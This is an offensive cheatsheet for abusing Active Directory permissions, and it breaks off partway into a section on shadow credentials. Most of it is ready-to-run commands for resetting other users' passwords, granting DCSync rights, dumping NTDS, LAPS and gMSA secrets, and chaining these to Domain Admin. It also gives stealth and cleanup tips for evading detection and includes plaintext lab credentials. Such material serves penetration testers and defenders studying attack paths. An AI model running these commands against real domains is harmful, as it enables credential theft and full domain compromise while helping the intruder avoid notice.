Active Directory ACL Abuse Cheatsheet¶
Overview¶
Access Control Lists (ACLs) in Active Directory
ACLs define permissions for AD objects through Access Control Entries (ACEs). Each ACE contains:
- Security Identifier (SID): Who has the permission
- Access Mask: What permissions they have
- Object Type: What object the permission applies to
- Inheritance Flags: How permissions propagate to child objects
Access Rights Reference¶
Generic Access Rights¶
Generic Rights Table
| Access Right | Common Name | Hex Value | Description |
|---|---|---|---|
| GenericAll | GA |
0x10000000 |
Full control - Create/delete objects, read/write all properties |
| GenericWrite | GW |
0x40000000 |
Write properties, validated writes |
| GenericExecute | GX |
0x20000000 |
Read permissions, list contents |
| GenericRead | GR |
0x80000000 |
Read all properties and permissions |
Standard Access Rights¶
Standard Rights Table
| Access Right | Common Name | Hex Value | Impact |
|---|---|---|---|
| WriteDacl | WD |
0x00040000 |
Modify object's DACL - Grant yourself any permission |
| WriteOwner | WO |
0x00080000 |
Change object owner - Take ownership |
| ReadControl | RC |
0x00020000 |
Read security descriptor |
| Delete | DE |
0x00010000 |
Delete the object |
Extended Rights (Abusable)¶
High-Impact Extended Rights
| Extended Right | Rights-GUID | Attack Path |
|---|---|---|
| User-Force-Change-Password | 00299570-246d-11d0-a768-00aa006e0529 |
Reset password without knowing current |
| DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 |
DCSync (needs both) |
| DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 |
DCSync (needs both) |
| Self-Membership | bf9679c0-0de6-11d0-a285-00aa003049e2 |
Add self to groups |
| Validated-SPN | f3a64788-5306-11d1-a9c5-0000f80367c1 |
Set SPNs for Kerberoasting |
ACL Enumeration Techniques¶
PowerShell Native Commands¶
Native PowerShell ACL Enumeration
# Get ACL for a user object
$acl = Get-Acl "AD:CN=<username>,CN=Users,DC=<domain>,DC=<tld>"
# Find specific user's permissions
$acl.Access | Where-Object {$_.IdentityReference -like "*<target-user>*"}
# Check who has GenericAll on Domain Admins
$acl = Get-Acl "AD:CN=Domain Admins,CN=Users,DC=<domain>,DC=<tld>"
$acl.Access | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}
Requirements
- Domain-joined machine or runas /netonly
- RSAT tools installed
- Valid domain credentials
PowerView Enumeration¶
PowerView ACL Hunting
# Import PowerView
. .\PowerView.ps1
# Get user's SID
$sid = (Get-DomainUser -Identity <username>).objectsid
# Find what rights user has on target
Get-DomainObjectAcl -Identity <target> | ?{$_.SecurityIdentifier -eq $sid}
# Find all objects where user has GenericAll
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -match "GenericAll"}
# Find all WriteDacl rights for user
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -match "WriteDacl"}
# Find interesting ACLs on Domain Admins group
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
Pro Tip
Use -ResolveGUIDs to convert GUIDs to human-readable names
Linux-Based Enumeration¶
impacket-dacledit¶
Dacledit Usage
# Check user's rights on specific target
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target-object>
# Check rights on computer object (add $ suffix)
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <computer>$
# Check rights on group
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target "Domain Admins"
# With NTLM hash
impacket-dacledit <domain>/<user> -hashes :<nthash> -principal <user> -target <target>
Common Issues
- Computer accounts need
$suffix - Group names with spaces need quotes
- Case sensitive for some operations
BloodyAD¶
BloodyAD ACL Enumeration
# Get object details including nTSecurityDescriptor
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <target>
# Get writable objects for user
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get writable
# Check specific permissions
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <target> --attr nTSecurityDescriptor
ACL Exploitation Techniques¶
GenericAll Abuse¶
GenericAll = Full Control
# On User: Reset password
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <target-user> <new-password>
# On Group: Add member
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember <group> <user>
# On Computer: RBCD attack
impacket-rbcd <domain>/<user>:'<password>' -delegate-to <target-computer>$ -delegate-from <controlled-computer>$ -action write
WriteDacl Abuse¶
WriteDacl = Grant Yourself Any Permission
# Grant GenericAll to yourself
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target> -action write -rights GenericAll
# Grant DCSync rights
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <domain> -action write -rights DCSync
WriteOwner Abuse¶
WriteOwner = Become Owner
# Take ownership
impacket-owneredit <domain>/<user>:'<password>' -target <target> -action write -new-owner <user>
# After ownership, grant yourself GenericAll
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target> -action write -rights GenericAll
# Add WriteMembers:
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'mathew' -target-dn 'CN=NETWORK ADMINS,CN=USERS,DC=INLANEFREIGHT,DC=LOCAL' inlanefreight.local/'mathew':'ilovejesus'
AllExtendedRights Abuse¶
AllExtendedRights on User = Password Reset
# Reset password without knowing current
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <target-user> <new-password>
# Alternative with rpcclient
rpcclient -U '<domain>/<user>%<password>' <dc-ip> -c "setuserinfo2 <target-user> 23 <new-password>"
Self-Membership Abuse¶
Self-Membership = Add Yourself to Groups
# Add yourself to group
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember <group> <user>
# Verify membership
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <group> --attr member
Privilege Escalation Paths¶
Path to Domain Admin¶
Common ACL Attack Chains
-
GenericAll on User → Domain Admin
# Reset DA password bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <da-user> <new-pass> -
WriteDacl on Domain → DCSync
# Grant DCSync rights impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <domain> -action write -rights DCSync # Perform DCSync impacket-secretsdump <domain>/<user>:'<password>'@<dc-ip> -
Self-Membership on Privileged Group → Escalation
# Add to Backup Operators bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember "Backup Operators" <user> # Dump NTDS nxc smb <dc-ip> -u <user> -p <password> --ntds --user Administrator
Backup Operators Exploitation¶
Backup Operators = NTDS Access
# After adding yourself to Backup Operators
# Method 1: NetExec
nxc smb <dc-ip> -u <user> -p <password> --ntds --user Administrator
# Method 2: Reg save (requires RDP/WinRM)
reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive
reg save HKLM\SECURITY security.hive
# Method 3: Direct file copy
robocopy /b C:\Windows\NTDS\ .\NTDS\ ntds.dit
Detection Risk
Backup Operators abuse is heavily monitored. Event IDs 4672, 4624 with Backup privilege usage.
Tool Setup¶
Required Tools Installation¶
Essential Tools Setup
# Impacket suite
git clone https://github.com/SecureAuthCorp/impacket
cd impacket && pip3 install .
# BloodyAD
pip3 install bloodyAD
# Targeted Kerberoast (for ACL-based Kerberoasting)
git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast && pip3 install -r requirements.txt
# NetExec
pip3 install netexec
Quick Reference Matrix¶
ACL Abuse Quick Decision Tree
| If You Have... | On Object Type... | You Can... | Command |
|---|---|---|---|
| GenericAll | User | Reset Password | bloodyAD set password |
| GenericAll | Group | Add Members | bloodyAD add groupMember |
| GenericAll | Computer | RBCD Attack | impacket-rbcd |
| WriteDacl | Any | Grant Any Right | impacket-dacledit |
| WriteOwner | Any | Take Ownership | impacket-owneredit |
| AllExtendedRights | User | Reset Password | bloodyAD set password |
| AllExtendedRights | Domain | DCSync | impacket-secretsdump |
| Self-Membership | Group | Add Yourself | bloodyAD add groupMember |
| WriteProperty | User | Set SPN | bloodyAD set object |
OPSEC Considerations¶
Detection & Prevention
High-Risk Operations:
- DCSync triggers event 4662 with GUIDs
- Password resets log event 4724
- Group membership changes log event 4728/4732
- DACL modifications log event 4670
Stealth Tips:
- Use existing SPNs for Kerberoasting instead of setting new ones
- Prefer reading existing data over modifications
- Time operations during business hours
- Clean up added permissions after use
Password Abuse Attacks¶
ForceChangePassword Exploitation¶
Understanding ForceChangePassword
The User-Force-Change-Password extended right allows resetting passwords without knowing the current one. This right is included in:
- GenericAll (Full Control)
- AllExtendedRights
- User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
Enumeration¶
BloodHound Query for Password Reset Rights
# Find who can reset passwords
MATCH p=((n:User {name:"<USER>@<DOMAIN>"})-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m)) RETURN p
# Find all password reset paths
MATCH p=((n)-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m:User)) RETURN p
Linux Enumeration with dacledit
# Check specific user's rights
python3 dacledit.py -principal <user> -target <target-user> -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for these access masks:
# - ControlAccess with GUID 00299570-246d-11d0-a768-00aa006e0529 (ForceChangePassword)
# - FullControl (0xf01ff)
# - AllExtendedRights (0x100)
Windows Enumeration with PowerView
# Without GUID resolution
$userSID = (Get-DomainUser -Identity <user>).objectsid
Get-DomainObjectAcl -Identity <target> | ?{$_.SecurityIdentifier -eq $userSID}
# With GUID resolution (readable output)
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}
# Look for: User-Force-Change-Password
Exploitation¶
Linux - Password Reset Methods
# Method 1: net command
net rpc password <target-user> <new-password> -U <domain>/<user>%'<password>' -S <dc-ip>
# Method 2: rpcclient
rpcclient -U <domain>/<user>%'<password>' <dc-ip>
rpcclient $> setuserinfo2 <target-user> 23 <new-password>
rpcclient $> exit
# Method 3: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password <target-user> <new-password>
# Verify new credentials
nxc ldap <dc-ip> -u <target-user> -p '<new-password>'
Windows - Password Reset Methods
# Method 1: PowerView
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Verbose
# Method 2: Active Directory Module
Import-Module ActiveDirectory
Set-ADAccountPassword <target-user> -NewPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Reset -Verbose
ReadLAPSPassword Exploitation¶
LAPS Overview
Local Administrator Password Solution stores randomized local admin passwords in AD:
- Password stored in
ms-MCS-AdmPwdattribute - Expiration in
ms-MCS-AdmPwdExpirationTime - Protected by ACLs - only authorized users can read
- Rotates every 30 days by default
Enumeration¶
BloodHound Query for LAPS
# Find who can read LAPS passwords
MATCH p=((n)-[r:ReadLAPSPassword]->(m)) RETURN p
# Find LAPS paths from owned users
MATCH p=shortestPath((n {owned:true})-[*1..]->(m)) WHERE m.haslaps=true RETURN p
Linux Enumeration
# dacledit (won't show group memberships)
python3 dacledit.py -principal '<group-name>' -target '<computer>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: ReadProperty on GUID de4ae365-abab-4cd0-a85a-682150772084
# BloodyAD - Check LAPS configuration
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<computer>' --attr ms-MCS-AdmPwd
Windows Enumeration with PowerView
# Check group permissions on computer
$group = Get-DomainGroup -Identity "LAPS Readers"
Get-DomainObjectAcl -Identity <computer> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $group.objectsid}
# Look for: ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime
Exploitation¶
Linux - LAPS Password Dumping
# Method 1: LAPSDumper (recommended)
git clone https://github.com/n00py/LAPSDumper
cd LAPSDumper
python3 laps.py -u <user> -p '<password>' -l <dc-ip> -d <domain>
# Dump specific computer
python3 laps.py -u <user> -p '<password>' -l <dc-ip> -d <domain> -c <computer>
# Method 2: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<computer>' --attr ms-MCS-AdmPwd
# Method 3: NetExec
nxc ldap <dc-ip> -u <user> -p '<password>' -M laps
Windows - LAPS Password Dumping
# Method 1: PowerView
Get-DomainObject -Identity <computer> -Properties "ms-mcs-AdmPwd",name
# Method 2: ActiveDirectory Module
Get-ADComputer -Identity <computer> -Properties "ms-mcs-AdmPwd",name
# Dump all LAPS passwords (only shows what you can read)
Get-DomainComputer -Properties name | ForEach-Object {
$computer = $_.name
$obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-AdmPwd",name -ErrorAction SilentlyContinue
if($obj.'ms-mcs-AdmPwd'){
Write-Output "${computer}: $($obj.'ms-mcs-AdmPwd')"
}
}
Using LAPS Credentials
# Connect as local admin
evil-winrm -i <computer-ip> -u Administrator -p '<laps-password>'
impacket-psexec Administrator:'<laps-password>'@<computer-ip>
nxc smb <computer-ip> -u Administrator -p '<laps-password>' --local-auth
ReadGMSAPassword Exploitation¶
gMSA Overview
Group Managed Service Accounts provide automated password management:
- Passwords auto-generated and rotated by DC
- 256-character random passwords
- Stored in
msDS-ManagedPasswordattribute - Access controlled via
msDS-GroupMSAMembership - No manual password management needed
Enumeration¶
BloodHound Query for gMSA
# Find who can read gMSA passwords
MATCH p=((n)-[r:ReadGMSAPassword]->(m)) RETURN p
# Find gMSA accounts
MATCH (n:User) WHERE n.serviceprincipalname IS NOT NULL AND n.name ENDS WITH ' RETURN n
Limitation
dacledit.py cannot enumerate ReadGMSAPassword privilege - use BloodHound or direct LDAP queries
Exploitation¶
Linux - gMSA Password Dumping
# Method 1: gMSADumper (recommended)
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
python3 gMSADumper.py -d <domain> -l <dc-ip> -u <user> -p '<password>'
# Output format:
# <gmsa-account>$:::<NTLM-hash>
# <gmsa-account>$:aes256-cts-hmac-sha1-96:<AES256-hash>
# <gmsa-account>$:aes128-cts-hmac-sha1-96:<AES128-hash>
# Method 2: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<gmsa-account>' --attr msDS-ManagedPassword
# Validate harvested hashes
nxc ldap <dc-ip> -u '<gmsa-account>' -H <ntlm-hash>
Windows - gMSA Password Dumping
# Method 1: GMSAPasswordReader
GMSAPasswordReader.exe --accountname <gmsa-account>
# Outputs both old and current password hashes
# Method 2: DSInternals PowerShell Module
Install-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity <gmsa-account> -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
# Method 3: Native AD Module (requires membership)
Get-ADServiceAccount -Identity <gmsa-account> -Properties * | Select msDS-ManagedPassword
Using gMSA Credentials
# Linux - Pass-the-Hash
evil-winrm -i <target-ip> -u '<gmsa-account>' -H <ntlm-hash>
impacket-psexec -hashes :<ntlm-hash> '<domain>/<gmsa-account>@<target-ip>
# Windows - OverPass-the-Hash with Mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:<gmsa-account>$ /domain:<domain> /ntlm:<ntlm-hash> /run:powershell.exe" exit
# Windows - Rubeus
Rubeus.exe asktgt /user:<gmsa-account>$ /rc4:<ntlm-hash> /domain:<domain> /dc:<dc-ip> /ptt
WriteDACL & WriteOwner Exploitation¶
WriteDACL Abuse¶
Understanding WriteDACL
WriteDACL allows modifying the target's DACL to grant yourself any permission:
- Grant DCSync rights on domain
- Grant GenericAll on users/groups
- Grant ResetPassword on user accounts
- Create attack chains for privilege escalation
Enumeration¶
BloodHound Queries
# Find WriteDACL paths
MATCH p=((n)-[r:WriteDACL]->(m)) RETURN p
# Find WriteDACL from owned users
MATCH p=((n {owned:true})-[r:WriteDACL]->(m)) RETURN p
# Find WriteDACL to Domain
MATCH p=((n)-[r:WriteDACL]->(m:Domain)) RETURN p
Linux Enumeration
# Check WriteDACL on domain (use -target-dn for domain)
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Check WriteDACL on objects
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# BloodyAD - Find writable objects
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get writable --detail
# Look for "DACL: WRITE" entries
Windows Enumeration
# Check WriteDACL on domain
$userSID = ConvertTo-SID <user>
Get-DomainSID | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}
# Check WriteDACL on specific object
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ActiveDirectoryRights -match "WriteDacl"}
Exploitation - Grant DCSync¶
Linux - Grant DCSync Rights
# Method 1: dacledit
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights DCSync
# Verify DCSync rights were added
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Perform DCSync
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>
# Method 2: BloodyAD (grant specific rights)
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add dcsync <user>
Windows - Grant DCSync Rights
# Grant DCSync with PowerView
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity <user> -Rights DCSync -Verbose
# Perform DCSync with Mimikatz
mimikatz.exe "lsadump::dcsync /domain:<domain> /user:krbtgt" exit
Exploitation - Grant Rights on Objects¶
Linux - Modify Object DACLs
# Grant FullControl on user/group
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights FullControl
# Grant specific rights
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights ResetPassword
# BloodyAD - Grant GenericAll
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add genericAll '<target>' '<user>'
# After granting rights, exploit them
# Add to group
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add groupMember '<group>' '<user>'
# Reset password
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password '<target-user>' '<new-password>'
# Restore original DACL from backup
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action restore -file dacledit-<timestamp>.bak
Windows - Modify Object DACLs
# Grant All rights (FullControl)
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights All -Verbose
# Grant specific rights
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights ResetPassword
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights WriteMembers
# Custom rights with GUID
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -RightsGUID <guid>
WriteOwner Abuse¶
Understanding WriteOwner
WriteOwner allows changing object ownership, which implicitly grants:
- WriteDACL on the object (owners can modify their own DACLs)
- Full control after taking ownership
- No immediate rights shown in enumeration tools
Enumeration¶
BloodHound Queries
# Find WriteOwner paths
MATCH p=((n:User)-[r:WriteOwner]->(m)) RETURN p
# Find Owns relationships
MATCH p=((n)-[r:Owns]->(m)) RETURN p
# Combined Owner/WriteOwner paths
MATCH p=((n)-[r:WriteOwner|Owns*1..]->(m)) RETURN p
Tool Limitations
dacledit.py and PowerView won't show owner privileges - use BloodHound or check object security descriptor directly
Enumeration Commands
# Linux - Check WriteOwner with dacledit
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: WriteOwner (0x80000)
# Linux - Check current owner with owneredit
python3 owneredit.py -action read -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Windows - Check WriteOwner
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "WriteOwner"}
Exploitation¶
Linux - WriteOwner Attack Chain
# Step 1: Download owneredit.py if not available
wget https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples/owneredit.py
# Step 2: Change ownership
python3 owneredit.py -action write -new-owner <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Step 3: Grant yourself FullControl (now that you're owner)
python3 dacledit.py -principal <user> -target '<target>' -action write -rights FullControl -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Step 4: Exploit the new rights
# Reset password
net rpc password <target-user> <new-password> -U <domain>/<user>%'<password>' -S <dc-ip>
# Or with BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set owner '<target>' '<user>'
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add genericAll '<target>' '<user>'
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password '<target>' '<new-password>'
Windows - WriteOwner Attack Chain
# Step 1: Take ownership
Set-DomainObjectOwner -Identity <target> -OwnerIdentity <user> -Verbose
# Step 2: Grant yourself All rights
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights All -Verbose
# Step 3: Exploit (example: reset password)
net user <target-user> <new-password> /domain
# Or with PowerView
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force)
Complete ACL Attack Matrix¶
Comprehensive ACL Abuse Reference
| Access Right | Target Type | Attack Method | Requirements | Tools |
|---|---|---|---|---|
| GenericAll | User | Reset Password | Direct access | bloodyAD set password / net rpc password |
| GenericAll | Group | Add Members | Direct access | bloodyAD add groupMember / Add-DomainGroupMember |
| GenericAll | Computer | RBCD Attack | Control another computer | impacket-rbcd / Set-DomainObject |
| GenericAll | Domain | DCSync | Domain object access | impacket-secretsdump / mimikatz |
| WriteDACL | Any | Grant Any Right | Direct access | dacledit -action write / Add-DomainObjectAcl |
| WriteDACL | Domain | Grant DCSync | Domain object access | dacledit -rights DCSync |
| WriteOwner | Any | Take Ownership → Full Control | Two-step process | owneredit → dacledit |
| ForceChangePassword | User | Reset Password | Extended right | bloodyAD set password / Set-DomainUserPassword |
| AllExtendedRights | User | Reset Password | Includes ForceChangePassword | rpcclient setuserinfo2 |
| AllExtendedRights | Domain | DCSync | Includes replication rights | impacket-secretsdump |
| Self-Membership | Group | Add Self to Group | Validated write | bloodyAD add groupMember |
| WriteProperty | User | Set SPN → Kerberoast | Write servicePrincipalName | bloodyAD set object / Set-DomainObject |
| WriteProperty | Group | Modify Members | Write member attribute | Add-DomainGroupMember |
| ReadProperty | Computer | Read LAPS Password | ms-MCS-AdmPwd attribute | LAPSDumper / Get-ADComputer |
| ReadGMSAPassword | gMSA | Dump Password Hash | msDS-ManagedPassword | gMSADumper / GMSAPasswordReader |
| User-Account-Control | User | Disable PreAuth → ASREPRoast | Modify UAC flags | Set-DomainObject -Clear |
| DS-Replication-Get-Changes | Domain | DCSync (partial) | Need both replication rights | Combined with Get-Changes-All |
| DS-Replication-Get-Changes-All | Domain | DCSync (complete) | Need both replication rights | impacket-secretsdump |
Attack Chain Combinations
| Initial Right | Chain | Final Capability |
|---|---|---|
| WriteOwner → WriteDACL → GenericAll | Take ownership, modify DACL, full control | Complete object control |
| WriteDACL → DCSync | Grant replication rights | Domain compromise |
| GenericAll on Group → Member of Admins | Add self to privileged group | Domain Admin |
| WriteProperty (SPN) → Kerberoast | Set SPN, request ticket | Credential access |
| Self-Membership → Backup Operators → NTDS | Join group, abuse privileges | Full domain dump |
| WriteDACL on GPO → Edit GPO | Modify Group Policy | Mass compromise |
| GenericAll on GMSA → ReadGMSAPassword | Grant password read | Service account takeover |
Quick Decision Tree¶
Which Attack Should I Use?
graph TD
A[What Access Do You Have?] --> B{Right Type}
B -->|GenericAll| C[Full Control - Any Attack]
B -->|WriteDACL| D[Grant Yourself Any Right]
B -->|WriteOwner| E[Take Ownership First]
B -->|Extended Rights| F{Which Right?}
B -->|ReadProperty| G{What Property?}
F -->|ForceChangePassword| H[Reset Password]
F -->|AllExtendedRights| I[Multiple Attacks]
F -->|Self-Membership| J[Add to Groups]
G -->|ms-MCS-AdmPwd| K[Read LAPS]
G -->|msDS-ManagedPassword| L[Read GMSA]
E --> M[Then Grant WriteDACL]
M --> D
C --> N[Choose Based on Target]
N -->|User| O[Password Reset/Kerberoast]
N -->|Group| P[Add Members]
N -->|Computer| Q[RBCD/LAPS]
N -->|Domain| R[DCSync]
OPSEC Considerations¶
Detection & Prevention
High-Risk Operations:
- DCSync triggers event 4662 with GUIDs
- Password resets log event 4724
- Group membership changes log event 4728/4732
- DACL modifications log event 4670
- Ownership changes log event 4670
- Kerberoast requests log event 4769
Medium-Risk Operations:
- LAPS password reads (event 4662)
- GMSA password reads (blends with service operations)
- Group membership enumeration
Stealth Tips:
- Use existing SPNs for Kerberoasting instead of setting new ones
- Prefer reading existing data over modifications
- Time operations during business hours
- Clean up added permissions after use
- Restore DACLs from backups after exploitation
- Use pass-the-hash instead of password resets when possible
Tool Setup¶
Essential Tools Installation
# Core Impacket suite
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# Additional ACL tools
wget https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples/owneredit.py
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/dacledit.py
# BloodyAD (comprehensive ACL toolkit)
pip3 install bloodyAD
# Targeted attack tools
git clone https://github.com/ShutdownRepo/targetedKerberoast
git clone https://github.com/n00py/LAPSDumper
git clone https://github.com/micahvandeusen/gMSADumper
# Windows tools
# Download PowerView: https://github.com/PowerShellMafia/PowerSploit
# Download Mimikatz: https://github.com/gentilkiwi/mimikatz
# Download GMSAPasswordReader: https://github.com/rvazarkar/GMSAPasswordReader
Best Practices¶
Methodology
-
Enumerate First
-
Run BloodHound collection
- Check all ACL relationships
-
Identify attack paths
-
Document Everything
-
Save original DACLs before modification
- Keep dacledit backup files
-
Screenshot critical findings
-
Choose Stealthy Paths
-
Prefer read operations over write
- Use existing privileges when possible
-
Avoid noisy operations during monitoring hours
-
Clean Up After
-
Restore modified DACLs
- Remove added group memberships
- Reset temporary ownership changes
Pro Tips
- Chain multiple ACL abuses for complex paths
- Look for ACLs on OUs for inheritance abuse
- Check computer accounts - often overlooked
- Foreign principals can have ACLs too
- Certificate templates are ACL goldmines
- gMSA accounts often have high privileges
- LAPS passwords are gold for lateral movement
- WriteDACL on Domain = Game Over
- Always check if you already own objects
- Some tools don't show inherited permissions
Automation Scripts¶
Batch ACL Enumeration
#!/usr/bin/python3
import os
# Read targets from file
with open("./users.txt") as f:
for x in f:
user = x.strip() # Remove newline
# Check ACLs for each user
os.system(f'impacket-dacledit domain/user:pass -principal attacker -target {user}')
# Check specific attributes
os.system(f'bloodyAD --host <dc> -d domain -u user -p pass get object {user} --attr Validated-SPN')
Extract Tokens
# Extract usernames from LDAP dump using grep
cat users.file | grep -oP '(?<=dn: CN=).*(?=,CN=)'
# Alternative with sed
sed -n '/CN=/,/CN/p' users.file
# Extract UID from GPOwned output:
#1:
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgpo | grep " Name:" > gps.names
#2:
cat gps.names| grep -oP '(?<=Name:).*'
#3 Cut spaces:
cat gps.names | tr -d " " > gps.formatted
# Extract Names for impacket-GetADUsers:
proxychains4 -q impacket-GetADUsers inlanefreight.local/gabriel:Godisgood001 -dc-ip 172.16.92.10 -all | awk 'NR>3 && !/^-/{print $1}' > domain.users
# Run dacledit using the lists:
#!/usr/bin/python3
import os
with open('./domain.users') as f1:
users = [u.strip() for u in f1 if u.strip()]
with open('./gps.formatted') as f2:
gpos = [g.strip() for g in f2 if g.strip()]
for user in users:
print(f"User: {user}")
for gp in gpos:
print(f" GPO: {gp}")
os.system(f'proxychains4 -q impacket-dacledit inlanefreight.local/gabriel:Godisgood001 -dc-ip 172.16.92.10 -principal {user} -target-dn "CN={gp},CN=Policies,CN=System,DC=inlanefreight,DC=local"')
# Extract GPLinks from GPOwned output:
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgplink | grep -oE '\{[0-9A-Fa-f-]{36}\}'
Shadow Credentials Attack¶
Overview¶
Shadow Credentials Fundamentals
Shadow Credentials abuse Windows Hello for Business (WHfB) functionality by manipulating the msDS-KeyCredentialLink attribute to perform passwordless authentication via PKINIT. This technique provides:
- Alternative to password attacks: No need for password resets or cracking
- Stealthier than RBCD: Less monitored than Resource-Based Constrained Delegation
- Reliable persistence: Survives password changes
- NTLM hash extraction: Obtain hashes through U2U authentication
- Certificate-based auth: Uses Key Trust model for passwordless authentication
Prerequisites & Requirements¶
Critical Prerequisites
| Requirement | Description | How to Check |
|---|---|---|
| Windows Server 2016+ | At least one DC running Server 2016 or above | Get-ADDomain \| Select DomainMode |
| Domain Functional Level | Must be 2016 or higher | Get-ADDomainController -Filter * \| Select OperatingSystem |
| AD CS/PKI | DC needs certificate for PKINIT | Check for Certificate Authority or AD CS role |
| Write Access | Need write on msDS-KeyCredentialLink |
Use BloodHound or dacledit |
Shadow Credentials Enumeration¶
PowerView Enumeration¶
PowerView Shadow Credentials Hunt
# Find users with shadow credentials configured
Get-DomainUser -Filter '(msDS-KeyCredentialLink=*)' | Select samaccountname,msds-keycredentiallink
# Check who can write msDS-KeyCredentialLink on target
$userSID = (Get-DomainUser -Identity <attacker>).objectsid
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ObjectAceType -match "Key-Credential-Link"}
Linux Enumeration¶
dacledit Shadow Credentials Check
